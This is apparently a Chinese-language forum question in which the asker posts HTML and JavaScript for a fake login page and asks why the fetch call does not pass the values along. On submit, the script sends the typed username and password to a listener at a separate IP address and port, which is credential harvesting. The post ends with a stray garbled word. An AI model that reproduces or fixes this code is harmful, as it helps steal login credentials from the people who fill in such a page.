我试图从表单中获取信息并通过获取将它们重定向到不同的服务器。
这是我的代码:
<html>
<body>
<h2> Login page </h2>
<form onsubmit="send()">
<p><label for="login">Login:</label><br />
<input type="text" id="login" name="login" size="20" autocomplete="off"></p>
<p><label for="password">Password:</label><br />
<input type="password" id="password" name="password" size="20" autocomplete="off"></p>
<button type="submit" name="form" value="submit">Login</bottun>
</form>
</body>
<script>
function send(){
let USER=document.getElementById('login').value;
let PWD = document.getElementById('password').value;
fetch('http://192.168.206.138:83/?username=${USER}&password=${PWD}');
}
</script>
</html>
问题在于获取。它不转发参数 USER 和 PWD 的值这是我从侦听此端口的服务器获得的: 服务器端
波斯汪